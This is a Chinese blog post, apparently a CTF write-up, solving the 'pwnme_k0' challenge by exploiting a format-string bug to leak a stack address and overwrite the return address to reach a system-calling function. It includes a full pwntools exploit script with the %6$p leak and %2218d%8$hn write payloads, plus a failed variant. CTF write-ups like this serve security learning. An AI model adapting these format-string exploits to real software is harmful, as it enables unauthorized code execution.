三个白帽 - pwnme_k0

ctf wiki

题目:三个白帽 - pwnme_k0

检查代码保护:
在这里插入图片描述
可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。

运行代码:
猜想代码逻辑,和可能的漏洞。
在这里插入图片描述
发现存在有格式化漏洞,而且有两个点。用户名和密码, 用IDA直接分析这部分

IDA分析:

在这里插入图片描述
通过覆盖ret地址来执行shellcode, 首先远程服务器默认开启ALRS ,可以先泄露sub_400b07 ret 地址 , 然后再将其覆盖

同时发现了 callsystem函数
在这里插入图片描述
动态调试:
将断点打到显示密码观察栈区。栈顶指向的指针为调用函数的栈底,第二个为返回地址,如果我们控制到返回地址,就控制了程序的运行。再从IDA可知,打印的str也是已调用函数的栈底为准。所有我们需要泄露调用函数的栈底,使用格式化参数 %6$p (六个参数放入寄存器)。泄露以后算ret与栈底的偏移(0xf20-0xee8),覆盖地址,任务完成。
在这里插入图片描述
EXP:

from pwn import *
context.log_level="debug"
context.arch="amd64"

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)

sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))


sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
sh.writeline("%2218d%8$hn")

sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()

题做出来了 ,按道理这道题应该是完了 ,前面说了这里有两个点 ,username 和passwd ,说如果只用一个能不能做出这道题呢(假设username是没有漏洞的)。
思路还是一样通过覆盖ret地址达到我们的效果。

开始分析:

  1. 如上我们有了ret_addr ,
  2. 找到passwd的地址在这里插入图片描述
    同样的断点,我们寄存器中找到passwd的栈地址,0x7fffffffdf04 ,与栈底df20 的偏移为0x1c,为了对齐八字节多输入4字节。
    在这里插入图片描述
    同样与IDA相符,
  3. payload = flat( [ “A”*4,ret_addr, %2202d%11$hn] )

,,,,,,,炸了 调到2点发现忽略对字符串长度的检验 , 该方法不可行。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值